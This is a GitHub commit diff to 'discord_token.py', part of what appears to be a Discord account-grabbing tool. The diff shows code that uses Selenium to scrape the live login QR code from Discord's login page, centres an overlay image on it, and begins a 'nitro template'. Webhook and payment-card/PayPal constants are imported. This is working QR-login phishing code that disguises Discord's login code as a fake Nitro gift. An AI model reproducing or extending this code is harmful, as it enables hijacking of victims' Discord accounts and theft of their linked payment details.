Update discord_token.py

This commit is contained in:
mouadessalim 2023-04-15 18:25:13 +00:00 committed by GitHub
parent 15c8fd5edb
commit dfd2b2f1cd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,10 +1,12 @@
import os import os
import re import re
from bs4 import BeautifulSoup
from discord_webhook import DiscordEmbed, DiscordWebhook from discord_webhook import DiscordEmbed, DiscordWebhook
from discord_webhook.webhook_exceptions import ColorNotInRangeException from discord_webhook.webhook_exceptions import ColorNotInRangeException
from PIL import Image from PIL import Image
from requests import get from requests import get
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from constants import EMBED_AVATAR, EMBED_COLOR, EMBED_USERNAME, PAYMENT_CARD, PAYMENT_PAYPAL from constants import EMBED_AVATAR, EMBED_COLOR, EMBED_USERNAME, PAYMENT_CARD, PAYMENT_PAYPAL
from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure
@ -16,19 +18,23 @@ class QRGrabber:
def __init__(self, resources_path: str) -> None: def __init__(self, resources_path: str) -> None:
self.resources_path = resources_path self.resources_path = resources_path
def get_qr_from_source(self, source: BeautifulSoup) -> str: def get_qr_from_source(self, driver: webdriver):
if not (div := re.search(r'qrCode-......', str(source))): elements = driver.find_elements(By.TAG_NAME, 'svg')
raise QRCodeNotFound( if len(elements) != 5:
'The QR code could not be found on the Discord login page — please try again or contact the developers.') raise QRCodeNotFound("The QR code could not be found on the Discord login page — please try again or contact the developers.")
div = div.group(0) element = elements[3]
div = source.find('div', {"class": f"{div}"}) return element.get_attribute("outerHTML")
qr_code = div.find('img')['src']
return qr_code
def generate_qr_for_template(self, path_1: str, path_2: str) -> None: def generate_qr_for_template(self, path_1: str, path_2: str) -> None:
qr_img = Image.open(path_1, 'r') qr_img = Image.open(path_1, 'r')
ovly_img = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) ,self.resources_path, 'overlay.png'), 'r') ovly_img = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) ,self.resources_path, 'overlay.png'), 'r')
qr_img.paste(ovly_img, (60, 55)) qr_width, qr_height = qr_img.size
center_x = qr_width // 2
center_y = qr_height // 2
logo_width, logo_height = ovly_img.size
logo_top_left_x = center_x - logo_width // 2
logo_top_left_y = center_y - logo_height // 2
qr_img.paste(ovly_img, (logo_top_left_x, logo_top_left_y))
qr_img.save(path_2, quality=95) qr_img.save(path_2, quality=95)
def generate_nitro_template(self, path_2: str) -> None: def generate_nitro_template(self, path_2: str) -> None: